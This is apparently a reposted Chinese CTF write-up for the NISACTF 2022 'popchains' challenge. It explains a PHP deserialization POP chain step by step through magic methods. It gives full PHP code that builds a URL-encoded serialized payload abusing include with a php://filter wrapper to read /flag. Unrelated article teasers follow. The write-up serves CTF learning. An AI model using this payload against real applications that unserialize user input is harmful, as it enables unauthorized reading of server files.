[NISACTF 2022]popchains

server/2024/10/18 8:33:58/

第一步:看到 include($value); 作为链尾,则要触发 append($value) -->>__invoke(),看到$function()。

__invoke():对象以函数形式被调用时触发 

第二步:$function() ,则要触发 __get($key),看到 $this->string->page

__get():对不存在、不可访问的变量进行赋值就会自动调用

第三步:$this->string->page(重点) ,则要触发 __toString(),看到 preg_match

使 $this->string 为 Make_a_Change 的一个对象,则这个对象的类里面没有page这个变量,则会触发__get()。

__toString():对象被当成字符串时被调用

                      echo,print,die,preg_match,strtolower,==

第四步:preg_match,则要触发 __wakeup(),而原文中有 unserialize(),不用管。

php"><?php
class Road_is_Long{public $page;//4 public $string;//3 Make_a_Changepublic function __construct($file='index.php'){$this->page = $file;}public function __toString(){return $this->string->page;}public function __wakeup(){if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {echo "You can Not Enter 2022";$this->page = "index.php";}}
}class Try_Work_Hard{protected  $var="php://filter/convert.base64-encode/resource=/flag";//1 shellpublic function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Make_a_Change{public $effort;//2 Try_Work_Hardpublic function __construct(){$this->effort = array();}public function __get($key){$function = $this->effort;return $function();}
} $a=new Try_Work_Hard();$b=new Make_a_Change();
$b->effort=$a;$c=new Road_is_Long();
$c->string=$b;$d=new Road_is_Long();
$d->page=$c;
echo urlencode(serialize($d));
?>

要点: 

1.在弄pop链时,只在变量上表明步骤。通过标注来写过程。

2. 有特殊的成员变量时,最后要urlencode()。

3.对于第三步和第四步要分开赋值。

php">$c=new Road_is_Long();
$c->string=$b;$d=new Road_is_Long();
$d->page=$c;


http://www.ppmy.cn/server/39423.html

相关文章

firewalld防火墙

一、Linux防火墙概述 1.1.Linux包过滤防火墙概述 1.2.包过滤防火墙工作层次 1.3.netfilter 1.4.firewalld 1.5.firewalld作用 1.6.firewalld数据处理流程 1.7.CentOS 7中存在的防火墙管理程序 1.8.防火墙区域概念 1.8.1.firewalld区域 1.8.2.firewalld区域…

【MySQL数据库开发设计规范】之命名规范

欢迎点开这篇文章&#xff0c;自我介绍一下哈&#xff0c;本人姑苏老陈 &#xff0c;是一名JAVA开发老兵。 本文收录于 《MySQL数据库开发设计规范》专栏中&#xff0c;该专栏主要分享一些关于MySQL数据库开发设计相关的技术规范文章&#xff0c;定期更新&#xff0c;欢迎关注&…

使用DependencyCheck工具检测JAR依赖包的安全漏洞

引言 Dependency-Check 是一个开源工具,用于检测软件项目中使用的第三方库和组件是否存在已知的安全漏洞。它可以帮助开发团队及时发现和解决项目中的潜在安全风险,从而提高软件的安全性。 该工具通过分析项目的依赖关系,识别其中使用的第三方库和组件,并与已知的漏洞数据…

图片合称为视频

import cv2 import os def pic_video(args_input_path,folder_path,output_video_path): count 1 image_files [os.path.join(folder_path, file) for file in os.listdir(folder_path) if file.endswith(‘.png’)] img cv2.imread(image_files[0]) height img.shape[0] w…

整理好了!2024年最常见 100 道 Java基础面试题(四十)

上一篇地址&#xff1a; 整理好了&#xff01;2024年最常见 100 道 Java基础面试题&#xff08;三十九&#xff09;-CSDN博客 七十九、hashCode 和 identityHashCode 的区别&#xff1f; 在Java中&#xff0c;hashCode() 和 identityHashCode() 是两种不同的方法&#xff0c;…

基于D1开发板和腾讯云nginx服务器构建家庭视频监控方案

腾讯云服务器使用nginx搭建rtmp服务器 什么是nginx&#xff1f; nginx是一款优秀的反向代理工具&#xff0c;通过nginx可以实现搭建高可用的轻量级web服务器&#xff0c;除此之外&#xff0c;通过Nginx自带的rtmp模块&#xff0c;也可以实现rtmp服务器的搭建。 安装nginx 安装编…

Leetcode 3133. Minimum Array End

Leetcode 3133. Minimum Array End 1. 解题思路2. 代码实现 题目链接&#xff1a;3133. Minimum Array End 1. 解题思路 这一题由于要求所有的array当中所有的数字的与为目标值&#xff0c;因此目标值当中的1的位必须保证所有的数均为1&#xff0c;剩下的位置只需要保证有一…

Go 语言基础之常用包【flag、time、strconv、io】

1、命令行参数包 flag flag 包就是一个用来解析命令行参数的工具。 1.1、os.Args import ("fmt""os" )func main() {if len(os.Args) > 0 {for index, arg : range os.Args {fmt.Printf("args[%d]%v\n", index, arg)}} } 运行结果&#…